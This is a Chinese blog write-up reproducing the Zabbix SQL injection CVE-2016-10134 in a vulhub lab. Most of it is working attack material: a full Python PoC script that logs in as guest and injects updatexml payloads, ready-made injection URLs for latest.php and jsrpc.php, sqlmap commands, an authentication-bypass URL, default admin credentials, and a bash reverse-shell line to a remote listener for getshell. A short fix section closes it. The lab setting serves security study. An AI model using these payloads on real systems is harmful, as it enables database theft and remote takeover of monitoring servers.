[ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)

博主介绍

‍ 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
点赞➕评论➕收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 博主介绍
  • 一、漏洞描述:
  • 二、受影响版本:
  • 三、Zabbix指纹信息
  • 四、基本原理:
  • 五、环境搭建
  • 六、漏洞复现:
    • 1. jsrpc.php
    • 2. latest.php
    • 3.POC验证
    • 4.POC
  • 七、x-ray渗透
    • 1.使用X-ray监听
    • 2.敏感信息泄露(服务器报错信息泄露)
      • 直接访问所给链接
    • 3.CVE-2016-10134
      • 查看links(参考链接)
      • 复现1(latest.php)
        • 用guest账号(密码为空)登录游客账户
        • 复制Cookie中zbx_sessionid后16字节
        • 填充sid的值,可成功注入
          • 查询数据库当前用户信息
          • 查询数据库版本信息
          • Sqlmap自动化注入
      • 复现2(jsrpc.php)
        • 查询当前使用用户
        • 查询数据库版本
    • 4.Zabbix 4.2 - Authentication Bypass登录绕过
      • 参看links(参考链接)
      • 使用POC绕过登录
    • 5.存在默认密码
      • 查看links(参考链接)
      • 使用默认账号密码,登陆成功
    • 6.暴力破解漏洞
  • 八、getshell
    • 1.环境
    • 2.在靶机上写入脚本
    • 3.攻击机监听:
    • 4.靶机连接
    • 5.Getshell失败
  • 九、漏洞修复:
  • 十、相应资源

一、漏洞描述:

zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。Zabbix 的latest.php中的toggle_ids[]或jsrpc.php种的profieldx2参数存在sql注入,通过sql注入获取管理员账户密码,进入后台,进行getshell操作。

二、受影响版本:

2.2.x
3.3.0-3.03

三、Zabbix指纹信息

 [
        {
            "match": "body_contains",
            "content": "images/general/zabbix.ico"
        }],
        [
        {
            "match": "header_contains",
            "content": "zbx_sessionid"
        }],
        [
        {
            "match": "body_contains",
            "content": "meta name=\"author\" content=\"zabbix sia\""
        },
        {
            "match": "banner_contains",
            "content": "linux zabbix-"
        }],
        [
        {
            "match": "banner_contains",
            "content": "zbx_sessionid"
        }]

四、基本原理:

sql注入:简单来说就是通过寻找注入点,进行sql语句拼接,欺骗服务器,获取想要的数据。
zabbix:由两部分构成,zabbix server与可选组件zabbix agent。
zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能。
zabbix agent需要安装在被监视的目标服务器上,它主要完成对硬件信息或与操作系统有关的内存,CPU等信息的收集

五、环境搭建

vluhub漏洞靶场搭建

vulhub环境是:Zabbix 3.0.3
切到CVE-2016-10134漏洞目录下

cd vulhub/zabbix/CVE-2016-10134 

在这里插入图片描述

创建CVE-2016-10134环境

docker-compose up -d

[ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第1张图片

查看CVE-2016-10134环境

docker-compose ps

[ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第2张图片

访问CVE-2016-10134环境

http://ip:8080

[ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第3张图片
复现玩记得关闭环境:

docker-compose down

六、漏洞复现:

1. jsrpc.php

(看下文X-ray–>CVE-2016-10134-复现2)

2. latest.php

(看下文X-ray–>CVE-2016-10134-复现1)

3.POC验证

下面两条命令都可以使用

python3 CVE-2016-10134.py -t 127.0.0.1:8080
python3 CVE-2016-10134.py --target 127.0.0.1:8080

存在漏洞
直接得到了当前用户
[ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第4张图片

4.POC

# -*- coding: utf-8 -*-
# @Time    : 2021/12/23
# @Author  : TesterCC

import json

from optparse import OptionParser

import re
import sys

from requests import session

# initialization
ret = dict()
ret['status'] = str()
ret['info'] = list()

ss = session()
ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate',
              'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'}


# CVE-2016-10134  # python3 CVE-2016-10134.py --target 127.0.0.1:8080

def get_payload1(text) -> str:
    payload = re.search(r"\[(.*\))\]", text)
    return payload.group(1)


def get_sql_injection_info(text) -> str:
    sql_injection_info = re.search(r"<\/li>
  • (.*)\'\]", text) return sql_injection_info.group(1) def attack(target): '''login zabbix''' login_url = "http://{}/index.php".format(target) ret0 = ss.get(login_url) cookie_dict = {i.name: i.value for i in ret0.cookies} # get sid sid = cookie_dict.get('zbx_sessionid')[16:] data = {"sid": sid, "form_refresh": "1", "name": "", "passwrd": "", "enter": "Sign+in"} retn = ss.post(url=login_url, headers=ss.headers, data=data) if retn.status_code == 200: # updatexml(0,concat(0xa,database()),0) # updatexml(0,concat(0xa,version()),0) payload1 = f"http://{target}/latest.php?output=ajax&sid={sid}&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)" retn2 = ss.get(url=payload1, headers=ss.headers) if retn2.status_code == 200: resp = { "payload": get_payload1(retn2.text), "info": get_sql_injection_info(retn2.text) } ret['status'] = 'success' ret['info'] = resp return ret def main(): usage = "Usage: python3 CVE-2016-10134.py --target " parse = OptionParser(usage=usage) parse.add_option("-t", '--target', type="string", dest="target", help="server ip:port, e.g. 127.0.0.1:8080") options, args = parse.parse_args() if not options.target: ret['status'] = 'fail' ret['info'] = "target empty" print(usage) sys.exit() else: target = options.target try: attack(target) except Exception: ret['status'] = 'fail' print(json.dumps(ret)) if __name__ == '__main__': main()
  • 七、x-ray渗透

    1.使用X-ray监听

    Xray监听

    .\xray_ windows_ and64. exe webscan -listen 127.0. 0.1 :8888
    

    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第5张图片

    火狐开启代理,与x-ray监听的端口相对应
    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第6张图片

    访问网站http://192.168.13.131:8080
    Xray就开始有产出了,产出我就不截图了。
    我把产出信息copy到了下面进行分析

    2.敏感信息泄露(服务器报错信息泄露)

    [Vuln: baseline]
    Target           "http://192.168.13.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5(2072517078)),0)"
    VulnType         "sensitive/server-error"
    

    直接访问所给链接

    这条信息其实就是利用的CVE-2016-10134注入楼的那个

    http://192.168.13.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5(2072517078)),0)
    

    这句话就是MD5加密2072517078,输出只有31位,updatexml可以输出32为,但是前面娶了一个连接符所以只输出了31位
    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第7张图片
    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第8张图片

    3.CVE-2016-10134

    [Vuln: phantasm]
    Target           "http://192.168.13.131:8080/"
    VulnType         "poc-yaml-zabbix-cve-2016-10134-sqli/default"
    links            ["https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134"]
    

    查看links(参考链接)

    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第9张图片

    发现是一个SQL注入漏洞

    复现1(latest.php)

    用guest账号(密码为空)登录游客账户

    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第10张图片

    发现登录成功

    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第11张图片

    复制Cookie中zbx_sessionid后16字节

    登录后,查看Cookie中的zbx_sessionid,复制后16位字符:916444579b8e84f1
    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第12张图片

    填充sid的值,可成功注入

    将这16个字符作为sid的值,访问,可见成功注入:

    查询数据库当前用户信息
    http://192.168.13.131:8080/latest.php?output=ajax&sid=916444579b8e84f1&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
    

    在这里插入图片描述
    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第13张图片

    查询数据库版本信息
    http://192.168.13.131:8080/latest.php?output=ajax&sid=916444579b8e84f1&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1)
    

    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第14张图片

    Sqlmap自动化注入

    burp抓到数据包,桌面新建txt,把数据写入txt。
    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第15张图片

    python2 sqlmap.py -r C:\路径\新建文本文档.txt -p toggle_ids[]
    -r 指定数据包文件
    -p 指定注入字段
    

    txt文件与sqlmap在同一目录下时不需要加路径,若不在则加绝对路径
    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第16张图片
    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第17张图片

    Sqlmap的poc都可以用于手工验证

    复现2(jsrpc.php)

    》这个漏洞也可以通过jsrpc.php触发,且无需登录:

    查询当前使用用户

    http://192.168.13.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)
    

    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第18张图片

    查询数据库版本

    http://192.168.13.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1)
    

    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第19张图片

    4.Zabbix 4.2 - Authentication Bypass登录绕过

    [Vuln: phantasm]
    Target           "http://192.168.13.131:8080/"
    VulnType         "poc-yaml-zabbix-authentication-bypass/default"
    links            ["https://www.exploit-db.com/exploits/47467"]
    

    参看links(参考链接)

    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第20张图片

    发现是登陆绕过

    使用POC绕过登录

    http://192.168.13.131:8080/zabbix.php?action=dashboard.view&dashboardid=1
    

    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第21张图片

    5.存在默认密码

    [Vuln: phantasm]
    Target           "http://192.168.13.131:8080/"
    VulnType         "poc-yaml-zabbix-default-password/default"
    links            ["https://www.zabbix.com/documentation/3.4/zh/manual/quickstart/login"]
    

    查看links(参考链接)

    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第22张图片

    发现默认账号密码:
    默认账号Admin
    默认密码为zabbix
    密码经过MD5加密后为5fce1b3e34b520afeffb37ce08c7cd66

    使用默认账号密码,登陆成功

    http://192.168.13.131:8080/index.php
    

    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第23张图片
    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第24张图片

    6.暴力破解漏洞

    [Vuln: brute-force]
    Target           "http://192.168.13.131:8080/index.php"
    VulnType         "form-brute/default"
    from_url         "http://192.168.13.131:8080/"
    username         map["field":"name" "value":"admin"]
    passw0rd         map["field":"passw0rd" "value":"passw0rd01"]
    由于CSDN检测不能出现passw0rd,所以这里的o我改成了0
    

    没有防御暴力破解的措施,理论上来说是可以暴力破解账号密码的

    八、getshell

    1.环境

    攻击机:windows本机:192.168.13.1
    靶机:kali:192.168.13.131

    2.在靶机上写入脚本

    用上面管理员账户密码登入到后台(账户是Admin 密码zabbix)
    登入之后点Administrator-script-creatscript,进行写入shell
    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第25张图片

    bash -i >& /dev/tcp/192.168.13.1/55555 0>&1
    

    3.攻击机监听:

    在这里插入图片描述

    4.靶机连接

    找触发点,找到触发点才能执行。方法很多,这里拿常用的举例。
    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第26张图片

    浏览器跳转,提示报错信息
    [ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)_第27张图片

    5.Getshell失败

    脚本一直无法执行,可能是zabbix环境存在问题
    理论上来说脚本一直无法执行的,是可以getshell的
    后续我会重新搭建zabbix环境进行getshell的复现,不选用vulhub环境试一下,如果可以getshell我将再出篇文章

    九、漏洞修复:

    禁用Guest账户,关闭无用账户。
    打补丁,升级zabbix版本。

    十、相应资源

    zabbix SQL注入漏洞 (CVE-2016-10134)POC
    原文下载

    你可能感兴趣的:(漏洞复现篇,sql,数据库,vulhub,漏洞复现,web安全)